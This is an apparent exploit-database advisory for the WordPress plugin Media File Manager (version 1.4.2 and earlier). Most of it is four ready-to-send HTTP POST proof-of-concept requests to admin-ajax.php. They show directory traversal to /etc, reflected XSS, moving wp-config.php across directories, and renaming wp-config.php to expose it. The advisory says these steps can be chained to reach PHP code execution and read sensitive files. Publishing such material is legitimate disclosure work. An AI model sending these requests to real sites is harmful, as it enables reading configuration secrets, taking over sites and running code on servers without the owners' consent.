Media File Manager <= 1.4.2 - Authenticated Multiple Vulnerabilities

2018-11-0500:00:00

Pasquale Turi

0.002 Low

EPSS

Percentile

56.0%

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Following the PoC you can combine the vulnerabilities to obtain PHP code execution and read sensitive file. By default the File Manager can only be used by Administrator users, however, any user role can be configured to use it.

Diretory Trasversal:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: REDACTED
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Connection: close
Cookie:	REDACTED

action=mrelocator_getdir&dir=../../../../../../../etc

Reflected XSS:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: close
Cookie: REDACTED

action=mrelocator_getdir&dir=[XSS]

Move any file to any dir:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Connection: close
Cookie: REDACTED

action=mrelocator_move&dir_from=../../&dir_to=../../../&items=wp-config.php

Rename any file:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 97
Connection: close
Cookie: REDACTED

action=mrelocator_rename&dir=../../&from=wp-config.php&to=wp-config.txt